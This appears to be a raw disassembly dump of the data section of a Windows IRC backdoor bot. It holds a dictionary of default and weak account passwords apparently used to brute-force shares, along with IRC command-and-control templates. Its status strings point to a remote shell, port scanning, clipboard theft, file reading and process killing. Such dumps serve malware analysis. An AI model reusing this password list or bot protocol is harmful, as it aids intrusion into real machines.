aBackup		db 'BACKUP',0           ; DATA XREF: .nsp0:00425DA8o
					; .nsp0:00428168o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: .nsp0:00425DA0o
					; .nsp0:00428160o
		align 4
aTest		db 'TEST',0             ; DATA XREF: .nsp0:00425D9Co
					; .nsp0:0042815Co
		align 4
aEdu		db 'edu',0              ; DATA XREF: .nsp0:00425D98o
					; .nsp0:00428158o
aOwner_1	db 'Owner',0            ; DATA XREF: .nsp0:00425D94o
					; .nsp0:00428154o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: .nsp0:00425D90o
					; .nsp0:00428150o
		align 10h
aDemo		db 'DEMO',0             ; DATA XREF: .nsp0:00425D8Co
					; .nsp0:0042814Co
		align 4
aFiles		db 'FILES',0            ; DATA XREF: .nsp0:00425D88o
					; .nsp0:00428148o
		align 10h
aRead		db 'READ',0             ; DATA XREF: .nsp0:00425D84o
					; .nsp0:00428144o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: .nsp0:00425D80o
					; .nsp0:00428140o
		align 10h
aLadeda		db 'ladeda',0           ; DATA XREF: .nsp0:00425D7Co
					; .nsp0:0042813Co
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: .nsp0:00425D78o
					; .nsp0:00428138o
		align 10h
aWrite		db 'WRITE',0            ; DATA XREF: .nsp0:00425D74o
					; .nsp0:00428134o
		align 4
aShare_0	db 'SHARE',0
		align 10h
aTemp		db 'TEMP',0
		align 4
aPassword_0	db 'PASSWORD',0
		align 4
aAdmin		db 'ADMIN',0
		align 4
aRoot		db 'ROOT',0
		align 4
aGuest_0	db 'GUEST',0
		align 4
aBla		db 'bla',0
aFubar		db 'fubar',0
		align 4
aAdministrato_0	db 'ADMINISTRATOR',0
		align 4
aTsinternetuser	db 'Tsinternetuser',0
		align 4
aSqldebugger	db 'SQLDebugger',0
aAdministrattor	db 'Administrattor$',0  ; DATA XREF: .nsp0:00425D30o
aAdmin_0	db '$admin',0           ; DATA XREF: .nsp0:00425D2Co
		align 4
aAdmin_1	db 'admin!',0           ; DATA XREF: .nsp0:00425D28o
		align 4
aAdmin2		db 'admin2',0
		align 4
aAdmin1		db 'admin1',0
		align 4
aAdmin_2	db 'admin$',0
		align 4
aDb2		db 'db2',0
aOracle		db 'oracle',0           ; DATA XREF: .nsp0:00425D14o
		align 4
aDba		db 'dba',0
aDatabase	db 'database',0
		align 4
aDefault_0	db 'default',0
aGuest_1	db 'guest',0
		align 4
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .nsp0:00425CFCo
aStudent	db 'student',0          ; DATA XREF: .nsp0:00425CF8o
aOwner		db 'owner',0            ; DATA XREF: .nsp0:00425CF4o
		align 4
aComputer	db 'computer',0
		align 4
aRoot_0		db 'root',0
		align 10h
aStaff		db 'staff',0
		align 4
aAdmin_3	db 'admin',0
		align 10h
aAdmins		db 'admins',0
		align 4
aAdministrat	db 'administrat',0
aAdministrateur	db 'administrateur',0
		align 4
aAdministrador	db 'administrador',0
		align 4
aAdministrato_1	db 'administrator',0
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_4102CC:loc_4103D7o
					; .nsp0:00425CCCo
		align 4
aMirc1_6_99	db 'mirc 1.6.99',0      ; DATA XREF: .nsp0:off_425C20o
a@room		db '*@room',0           ; DATA XREF: .nsp0:off_425C1Co
		align 4
unk_42CB88	db    2			; DATA XREF: .nsp0:00409EDDo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStartR	db ' Failed to start registry thread, error: <%d>.',0
		align 4
unk_42CBD8	db    2			; DATA XREF: .nsp0:00409E88o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aRegistryMonito	db ' Registry monitor active.',0
		align 4
dword_42CC14	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:00409E4Do
		dd 2029206Ch, 2BBBB02h,	6F422020h, 74732074h, 65747261h
		dd 2E64h
dword_42CC40	dd 25207325h, 25222064h, 2273hdword_42CC4C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40A059+F2o
		dd 2029206Ch, 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40A1C1+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40A1C1+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040F97Do
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040F968o
		align 4
dword_42CCC4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F954o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_42CCF8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F937o
		dd 2029206Ch, 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 4
dword_42CD2C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F8C7o
		dd 2029206Ch, 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_42CD6C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F869o
		dd 2029206Ch, 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: .nsp0:0040F85Ao
					; .nsp0:0040F8B8o
		align 10h
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: .nsp0:0040F846o
					; .nsp0:0040F8A4o
		align 4
asc_42CDF8:				; DATA XREF: .nsp0:0040F816o
		unicode	0, <~>,0
dword_42CDFC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F7C5o
		dd 2029206Ch, 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_42CE34	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F6EAo
		dd 2029206Ch, 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_42CE74	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F6E2o
		dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_42CEB4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F681o
		dd 2029206Ch, 2BBBB02h,	73252020h, 0
unk_42CED8	db    2			; DATA XREF: .nsp0:0040F672o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStar_4	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_42CF28	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: .nsp0:0040F5F8o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 20732520h, 74737973h
		dd 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: .nsp0:0040F5F2o
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: .nsp0:0040F5EBo
		align 4
aSec		db 'sec',0              ; DATA XREF: .nsp0:0040F590o
aSecure		db 'secure',0           ; DATA XREF: .nsp0:0040F57Fo
		align 4
dword_42CF78	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_42CF88	dd 646E6946h, 6C696620h, 65hdword_42CF94	dd 72027002h, 1F631F6Fh, 2E2Ehdword_42CFA0	dd 636F7250h, 20737365h, 7473696Ch, 0dword_42CFB0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F510o
		dd 2029206Ch, 2BBBB02h,	65522020h, 6E6E6F63h, 69746365h
		dd 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_40F503o
		align 4
dword_42CFF4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F4EEo
		dd 2029206Ch, 2BBBB02h,	69442020h, 6E6F6373h, 7463656Eh
		dd 2E676E69h, 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: .nsp0:loc_40F4E1o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040F4B9o
		align 4
dword_42D048	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F46Do
		dd 2029206Ch, 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_42D088	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F42Fo
		dd 2029206Ch, 2BBBB02h,	6F422020h, 44492074h, 7325203Ah
		dd 2Eh
dword_42D0B4	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: .nsp0:0040F404o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_42D100	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: .nsp0:0040F399o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
		dd 61657268h, 2E7364h
dword_42D130	dd 627573h	dword_42D134	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F324o
		dd 2029206Ch, 2BBBB02h,	6C412020h, 20736169h, 7473696Ch
		dd 2Eh
dword_42D160	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: .nsp0:0040F309o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_5	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_42D1AC	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: .nsp0:0040F27Co
		dd 2029206Ch, 2BBBB02h,	694C2020h, 6E697473h, 6F6C2067h
		dd 2E67h
dword_42D1D8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F1F8o
		dd 2029206Ch, 2BBBB02h,	654E2020h, 726F7774h, 6E49206Bh
		dd 2E6F66h
dword_42D204	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F1C9o
		dd 2029206Ch, 2BBBB02h,	79532020h, 6D657473h, 666E4920h
		dd 2E6Fh
dword_42D230	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F174o
		dd 2029206Ch, 2BBBB02h,	65522020h, 69766F6Dh, 4220676Eh
		dd 2E746Fh
dword_42D25C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: .nsp0:0040F161o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_6	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_42D2AC	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: .nsp0:0040F0F2o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: .nsp0:0040F0D2o
		align 4
dword_42D2E8	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: .nsp0:0040F070o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning	db '  Already running.',0
		align 4
dword_42D31C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040F022o
		dd 2029206Ch, 2BBBB02h,	70552020h, 656D6974h, 7325203Ah
		dd 2Eh
dword_42D348	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: .nsp0:loc_40EF85o
		dd 2029206Ch, 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_42D37C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: .nsp0:0040EF7Eo
		dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_42D3B8	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: .nsp0:0040EF62o
		dd 2029206Ch, 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_42D3F4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040EF4Co
		dd 2029206Ch, 2BBBB02h,	65472020h, 6C432074h, 6F627069h
		dd 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: .nsp0:0040EF1Eo
		align 4
unk_42D438	db    2			; DATA XREF: .nsp0:loc_40EF0Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_42D478	db    2			; DATA XREF: .nsp0:0040EEF3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 10h
unk_42D4B0	db    2			; DATA XREF: .nsp0:loc_40EEE3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 10h
unk_42D4F0	db    2			; DATA XREF: .nsp0:loc_40EEDCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 10h
unk_42D530	db    2			; DATA XREF: .nsp0:0040EED5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
unk_42D568	db    2			; DATA XREF: .nsp0:0040EE57o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_8	db 'Failed to start server thread, error: <%d>.',0
unk_42D600	db    2			; DATA XREF: .nsp0:0040EBAFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAlreadyRunni_0	db 'Already running.',0
		align 4
dword_42D634	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: .nsp0:loc_40EB99o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9	db '  Failed to start scan, port is invalid.',0
		align 10h
dword_42D680	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: .nsp0:0040EADAo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
dword_42D6FC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E89Ao
		dd 2029206Ch, 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_42D734	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E881o
		dd 2029206Ch, 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_42D768	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E861o
		dd 2029206Ch, 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_42D79C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E848o
		dd 2029206Ch, 2BBBB02h,	52492020h, 61522043h, 25203A77h
		dd 2E73h
dword_42D7C8	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: .nsp0:loc_40E7CAo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_42D808	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: .nsp0:0040E7C3o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 10h
dword_42D840	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: .nsp0:loc_40E77Do
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_42D87C	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: .nsp0:0040E773o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: .nsp0:0040E759o
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040E6CEo
					; .nsp0:loc_40F4CBo
		align 4
dword_42D8CC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E658o
		dd 2029206Ch, 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_42D904	db    2			; DATA XREF: .nsp0:loc_40E643o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCouldnTOpenF_0	db 'Couldn',27h,'t open file: %s',0
		align 4
unk_42D93C	db    2			; DATA XREF: .nsp0:0040E639o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFileOpenedS	db 'File opened: %s',0
dword_42D96C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E610o
		dd 2029206Ch, 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_42D9A4	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: .nsp0:loc_40E5C1o
		dd 2029206Ch, 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 10h
dword_42D9E0	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E596o
		dd 2029206Ch, 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
dword_42DA10	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: .nsp0:loc_40E562o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin	db '  Failed to terminate process: %s',0
		align 4
dword_42DA54	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: .nsp0:0040E558o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS	db '  Process killed: %s',0
		align 4
dword_42DA8C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: .nsp0:loc_40E502o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0	db '  Failed to terminate process ID: %s',0
		align 4
dword_42DAD4	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: .nsp0:0040E4FBo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI	db '  Process killed ID: %s',0
dword_42DB0C	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: .nsp0:0040E4BAo
		dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h,	27206465h
		dd 2E277325h, 0
dword_42DB3C	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: .nsp0:0040E4A4o
		dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h,	732520h
dword_42DB64	dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
					; DATA XREF: .nsp0:loc_40E489o
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	7320646Eh
		dd 2E746E65h, 0
unk_42DB94	db    2			; DATA XREF: .nsp0:0040E47Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Dh	; m
		db 69h,	72h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_42DBC4	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E44Eo
		dd 2029206Ch, 2BBBB02h,	6F432020h, 6E616D6Dh, 203A7364h
		dd 7325h
dword_42DBF0	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E443o
		dd 2029206Ch, 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 10h
dword_42DC30	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E403o
		dd 2029206Ch, 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_42DC64	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E3EFo
		dd 2029206Ch, 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
aR:					; DATA XREF: .nsp0:loc_40E388o
		unicode	0, <r>,0
dword_42DCA0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E36Ao
		dd 2029206Ch, 2BBBB02h,	65472020h, 736F6874h, 25203A74h
		dd 2E73h
dword_42DCCC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E32Fo
		dd 2029206Ch, 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 10h
dword_42DD10	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E313o
		dd 2029206Ch, 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_42DD48	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E294o
		dd 2029206Ch, 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_42DD78	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E259o
		dd 2029206Ch, 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_42DDA8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E203o
		dd 2029206Ch, 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_42DDD8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E19Bo
		dd 2029206Ch, 2BBBB02h,	79432020h, 2E656C63h, 0
dword_42DE00	dd 54524150h, 0D732520h, 0Ah					; .nsp0:0040E853o
dword_42DE0C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: .nsp0:0040E132o
		dd 2029206Ch, 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: .nsp0:0040E124o
		align 4
dword_42DE48	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: .nsp0:0040E0FBo
		dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h,	29732528h
		dd 7325203Ah, 0
dword_42DE78	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: .nsp0:0040E090o
		dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh,	73252820h
		dd 25203A29h, 73h
dword_42DEA8	dd 45444F4Dh, 732520hdword_42DEB0	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: .nsp0:0040E006o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh,	73252820h
		dd 25203A29h, 73h
dword_42DEE0	dd 4B43494Eh, 732520h					; .nsp0:0040E69Ao
